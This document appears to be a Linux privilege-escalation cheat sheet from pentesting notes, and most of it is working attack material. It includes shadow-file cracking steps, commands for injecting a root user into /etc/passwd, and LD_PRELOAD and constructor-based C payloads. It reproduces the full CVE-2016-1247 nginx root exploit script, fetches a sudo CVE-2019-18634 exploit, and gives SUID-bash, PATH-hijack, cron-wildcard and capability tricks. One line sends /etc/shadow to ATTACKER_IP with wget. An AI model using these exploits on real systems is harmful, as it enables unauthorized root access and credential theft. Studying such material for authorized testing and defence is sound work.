Privilege Escalation Attacks

Kernel Exploits

Methodology / Checklist

Enumeration

uname -a
cat /proc/version
cat /etc/issue

Passwords & File Permissions

Methodology

Escalation via Weak File Permissions

Cracking Shadow File

Unshadow

  • Copy all contents of /etc/passwd and /etc/shadow to a file.

  • Use unshadow to merge passwd and shadow file to create a unshadowed file.

unshadow passwd shadow > creds.txt

Crack Linux passwords

  • Linux Password Hash Type: $6$: SHA512

  • Hashcat Mode: 1800

# hashcat -m 1800 [HASH_FILE] [WORDLIST] -O
hashcat -m 1800 creds.txt rockyou.txt -O
  • Elevate using the cracked password

su root

Creating New User in Passwd File

  1. Generate hash value for the password

openssl passwd -1 -salt [KEYWORD] [PASSWORD]
  1. Add the username and password to the /etc/passwd file

[USERNAME]:[PASSWORD]:0:0:root:/root:bin/bash
  1. Switch to the new root user

su [USERNAME]

Escalation via SSH Keys

Enumeration

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null

SSH Using the Private key

Copy the contents of the id_rsa or copy the id_rsa

chmod 600 id_rsa
ssh -i id_rsa root@[IP]

Sudo Privilege Escalation

Methodology

Sudo Shell Escaping

Enumeration

sudo -l
  • Look for env keep+=LD_PRELOAD

  • Output

Escalation

LD_PRELOAD

Look for env keep+=LD_PRELOAD

Exploit Code

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); //Root Group
    setuid(0); //Root User
    system("/bin/bash"); //Run Bash Shell
}

Compile Exploit Code

gcc -fPIC -shared -o [OUTPUT_FILE.so] [C_CODE_FILE] -nostartfiles

Run Exploit

  • Note that to effectively exploit this you can only use/run the applications listed in the sudo -l command.

# sudo LD_PRELOAD=[PAYLOAD] [BINARY]
sudo LD_PRELOAD=/tmp/shell-payload apache2

Intended Functionality

Intended functionality PrivEsc is when you use a feature that is built in with the application that's installed on the target system to escalate your privileges.

Apache2

sudo apache2 -f /etc/shadow

Wget

sudo wget --post-file=/etc/shadow [ATTACKER_IP]:[PORT]
nc -nvlp [PORT]

CVEE-2019-14287 - Sudo Security Bypass

Enumeration

sudo -V

This exploits affects the older versions of Sudo program (versions < 1.8.28)

sudo -l

The line ALL=(ALL:!root) NOPASSWD: /bin/bash says you can run /bin/bash command as any users except root.

Escalation

sudo -u#-1 /bin/bash

CVE-2019-18634 - Sudo Buffer Overflow

Enumeration

sudo -V
  • This exploit affects older versions of Sudo (version < 1.8.26)

Escalation

wget raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/refs/heads/master/exploit.c
gcc -o CVE-2019-18634 exploit.c
./CVE-2019-18634

SUID

Methodology

Basic SUID Privilege Escalation

Enumeration

find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \\; 2>/dev/null

Escalation

Use GTFOBins for privilege escalation.

Escalation via Shared Object Injection

Enumeration

find / -type f -perm -04000 -ls 2>/dev/null

Hunting Shared Object Injection using Strace

strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

Payload

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
gcc -shared -fPIC -o [OUTPUT_LOCATION] [C_CODE]

Escalation

Once the malicious application is in place, run the binary file you foud with SUID.

Enumeration

Using Automated Tool

wget <https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh> -O les.sh
chmod +x les.sh
./les.sh

Manual Enumeration

Verify Nginx Version

dpk -l | grep nginx

Verify RWX for the directory

ls -la /var/log/nginx

Escalation

Exploit Script
#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user 
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
	echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
	exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
	echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
	sleep 1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		rm -f $ERRORLOG
		break;
	fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
nano CVE-2016-1247.sh
./CVE-2016-1247.sh

Restart Nginx

Escalation via Environmental Variables

Enumeration

find / -type f -perm -04000 -ls 2>/dev/null

Hunting Application Calls

strings /usr/local/bin/suid-env
Example

In this example, the application is initiating a service start for apache 2 using the Service command. The application is calling the Service command from the PATH variable.

View contents of PATH variable: print $PATH

The application is looking to the directories listed in the PATH variable sequentially to find the Service command. We can take advantage of this to insert a new directory where the malicious Service is located.

Privilege Escalation - Exploit 1

  1. Copy /bin/sh or /bin/bash shell and name it to the binary/file that is being called by the application. This can be found by using strings command.

echo /bin/sh > /tmp/curl
  1. Set permissions

chmod 777 /tmp/curl
  1. Add the directory to the PATH environment variable where the Malicious Binary is located

export PATH=/tmp:$PATH
  1. Run the Binary you found with SUID bit

Privilege Escalation - Exploit 2

Payload

Malicious Service (Binary) code

echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/service.c

Compile the Code

gcc /tmp/service.c -o /tmp/service

  1. Add the directory to the PATH environment variable where the Malicious Binary is located

    export PATH=/tmp:$PATH
  2. Verify Path

    print $PATH

  3. Run the Binary you found with SUID bit

Privilege Escalation - Exploit 3

  1. If the binary you found during hunting using strings uses a Full path, We can utilize function to create a function in the binary that’s being called.

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
  • This will create a function that when ran, copies bash to /tmp and run it as root since the application that is calling this has SUID bit enabled which can be ran as root.

  1. Export the shell function to Service

export -f /usr/sbin/service
  1. Run the application that has the SUID bit

Privilege Escalation - Exploit 4

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '[SUID_BINARY]; set +x; /tmp/bash -p'
Example
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

Capabilities

Enumeration

Look for cap_setuid+ep (Permit Everything)

getcap -r / 2>/dev/null

Escalation

Run the application with the cap_setuid+ep capability. In this example, we used Python2.6

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Other Applications

Other applications that we can use for PrivEsc if Capabilities is enabled.

  • tar

  • openssl

  • perl

Resources


Scheduled Tasks

Methodology

Enumeration

Crontab

cat /etc/crontab

Systemd Timers

systemctl -list-timers --all

Escalation via Cron Paths

Cron Paths

  • Notice the cron PATH variable

  • Cron jobs checks the Paths sequentially, if you have permissions to those paths, you can modify an existing script on the scheduled task to run maliciously.

Payload

  1. Copy bash to /tmp directory.

  2. set SUID bit to bash.

  3. Write the comand to overwrite.sh on the /home/user/ directory.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
  1. Set Execute Permission to the malicious file.

chmod +x /home/user/overwrite.sh
  1. Wait for the scheduled task to run.

  2. Verify if successful.

  3. Escalate Privileges.

Escalation via Cron Wildcards

Enumeration

cat /etc/crontab
Example

In the script, it navigates to /home/user and then it runs the tar command. Notice the wildcard * used by tar, the command can be translated into:

tar czf [DESTINATION] [SOURCE]
where DESTINATION is /tmp/backup.tar.gz
and SOURCE is anything (*) under /home/user

We can then abuse the * wildcard to inject command line arguments to allow us to run our malicious script.

Escalation

  1. Make sure you are saving the script (runme.sh) where the target application is being ran

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
chmod +x runme.sh
  1. Create file to act as a command line argument for the tar command, abusing the wildcard feature.

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\\ runme.sh
  1. Wait for the scheduled task to run.

  2. Run /tmp/bash

Escalation via Cron File Overwrites

Enumeration

cat /etc/crontab

Verify File Permission

ls -l [FILE_PATH]

Escalation

  1. Overwrite the file

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
  1. Make sure that the file has execute permissions: ls -l [FILE] / chmod +x [FILE]

  2. Wait for the scheduled task to run

  3. Run bash

/tmp/bash -p

PATH

Methodology

Enumeration

echo $PATH
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u 
find / -writable 2>/dev/null | grep home | cut -d "/" -f 2,3 | sort -u
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

Adding Location to PATH

Adds /tmp folder to $PATH variable

export PATH=/home/murdoch:$PATH

Payload

echo "/bin/bash" > app
chmod +x app
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
gcc -shared -fPIC -o [OUTPUT_LOCATION] [C_CODE]
echo 'int main() { setgid(0); setuid(0); system("/bin/sh"); return 0; }' > /tmp/app.c
gcc /tmp/app.c -o /tmp/app
chmod u+s app

Escalation

Run the file


Last updated